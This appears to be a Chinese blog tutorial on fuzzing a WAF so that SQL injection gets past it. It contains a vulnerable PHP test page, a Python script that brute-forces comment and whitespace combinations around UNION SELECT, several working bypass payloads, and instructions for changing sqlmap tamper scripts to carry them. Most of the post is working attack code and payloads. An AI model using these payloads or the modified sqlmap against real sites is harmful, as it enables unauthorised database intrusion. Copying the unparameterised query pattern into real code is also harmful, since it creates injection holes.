Python Fuzzing脚本编写学习
你的时间有限,所以不要为别人而活。不要被教条所限,不要活在别人的观念里。不要让别人的意见左右自己内心的声音。最重要的是,勇敢的去追随自己的心灵和直觉,只有自己的心灵和直觉才知道你自己的真实想法,其他一切都是次要。
—– 乔布斯
前言
脚本很简单,练练手。
站点安装了最新的safe狗,简单搭建了一个注入页面进行注入测试。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$conn = mysql_connect('localhost', 'root', '123456') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("数据库连接失败");
$id = isset($_GET['id']) ? $_GET['id'] : 1;
$sql = "SELECT * FROM news WHERE id=$id";
$result = mysql_query($sql, $conn) or die(mysql_error());
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>Test demo</title>
</head>
<body>
echo $sql;
$row = mysql_fetch_array($result, MYSQL_ASSOC);
echo "<h3>{$row['title']}<br /> {$row['content']}";
mysql_free_result($result);
</body>
</html>
先关闭WAF,手动测试。
正常。
开启WAF,手动测试。
拦截。
Fuzzing脚本编写
使用MySQL内联注释来对其进行绕过
MySQL注释1
/**/
在 /* 后加上! 里边的语句也依旧会执行1
/*!select * from xxx*/
url:http://192.168.25.133/sql.php?id=1
编写py脚本来进行fuzzing union和select之间的空格,只嵌套了四层,对这个脚本也还没进行优化,因为收集了另外一些比较好的Fuzz脚本,完了在学习学习
id=1的时候所出现的值为hhhhtest,所以只判断当加入了payload时,此值会不会出现在页面中,以此来判断是否成功
运行脚本前记得把waf的防cc攻击关闭,不然会ban ip1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32#!-*- coding:utf-8 -*-
#!/usr/bin/env python
import requests, sys
fuzz_zs = ['/*','*/','/*!','/**/','?','/','*','=','`','~','@','|','!','%','.','-','+','%00','%20','%09','%0a','%0d','%0c','%0d','%a0']
fuzz_sz = ['']
fuzz_ch = ['%0a','%0d','%0c','%0d','%0e','%0f','%0g','%0h','%0i','%0j','%0h','%0i','%0j','%0k','%0l','%0m','%0n','%0o','%0p','%0q','%0r','%0s','%0t','%0u','%0v','%0w','%0x','%0y','%0z']
fuzz = fuzz_zs + fuzz_sz + fuzz_ch
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'}
url_start = 'http://192.168.25.133/sql.php?id=1'
lens = len(fuzz)**4
num = 0
#只嵌套了4层
for a in fuzz:
for b in fuzz:
for c in fuzz:
for d in fuzz:
num += 1
payload = "/*!union" + a + b + c + d + "select*/ 1,2,3"
url = url_start + payload
print("Now URL:" + url)
print "Process %s / %s"%(num,str(lens))
# sys.stdout.write("Process:%s / %s \r"%(num,str(lens)))
# sys.stdout.flush()
res = requests.get(url,headers=headers)
if "hhhhtest" in res.text:
with open('Result.txt','a') as r:
r.write(url + "\n")
所获payload:
http://192.168.25.133/sql.php?id=1/*!union/*/*%/**/select*/ 1,2,3
http://192.168.25.133/sql.php?id=1/*!union*//*/*%/**//*!select*/%201,2,3
没有被拦截,当然下一步骤如果要找表名列名也还是会被拦截,因为会对一些系统函数以及特殊关键字进行一定的拦截,这个绕过就属于其他方法。
绕过空格的也不能说很鸡肋,也学习到了一个特性,mysql函数的字母和括号之间是可以用空格的。
所以根据这个特性,对其来使用payload进行绕过。
因为查询出来了两条数据,而只有一个显位,所以要将上一条语句报错,从而使得下一条语句的结果输出到上一条语句的位置上。
在这还要说一下的就是union注入的条件:1、相同的列数,2、相似的数据编码,3、相同的数据类型。
OJBK。
修改sqlmap进行注入绕过
sqlmap无疑是自动化注入的神器,当我们测出payload但是工具却注入不了,除了以前学习的修改sqlmap源码中的发包方式,二来就是需要我们去写sqlmap脚本。
先查看两个脚本:
versionedkeywords————用mysql注释包围每个关键字
versionedmorekeywords————用mysql注释包围每个非函数关键字
发现脚本中将关键字都被/*!xxx*/所包围
用sqlmap跑一下看内置的内不能过了WAF
我们得到的这款payload:1
2sql.php?id=1/*!union/*/*%/**/select*/ 1,2,3
sql.php?id=1/*!union*//*/*%/**//*!select*/ 1,2,3
原视频中测试的payload1
sql.php?id=1 /*!/*!union*//*!/*!select*/ 1,2,3
修改起来很简单,直接在原来的/*!前边再重复一次就可以了
然后指定脚本就可以对目标URL进行注入了。
fuzz之后可以对比一下,看payload有没有特定的规律,对fuzz payload的位置进行一些测试
方法一:修改发包函数:
还是老办法啦,在发包函数中进行修改,因为这里测试的是union查询,所以直接修改union发包函数,在里边加上我们的payload
OK,发包也满足我们所测试得出payload的基本格式,实际拿过去测试也是OK,但是sqlmap并没有测成功。
因为对于有些关键字进行了绕过,而对于很多sqlmap发包时的比如像一些函数,他并不会把函数名称和括号进行这样的匹配,总的来说想要探其根源还是得老老实实把sqlmap这款优秀工具的源码读一遍,留作业。
方法二:修改tamper脚本
测试得到的两款payload,都差不多,只不过是一个闭合了单个关键字的注释一个没有,都是使用/*/*%/**/来将关键字隔开。
针对payload来对tamper脚本进行修改:
因为是使用mysql注释来进行关键字的闭合,所以看一下原脚本是怎么用的,在里边微调一下就OJBK了。
payload中对关键字两边使用了/*!word*/中间的空格使用了/*/*%/**/所以我们将其修改为我们payload所对应的格式并重新保存。
确定脚本中变动的位置
第一个位置:
在关键字的闭合后添加,但是会导致脚本出错,还没读源码
第二个位置:
当检索到payload关键字中*/space,将其更改为*/payload。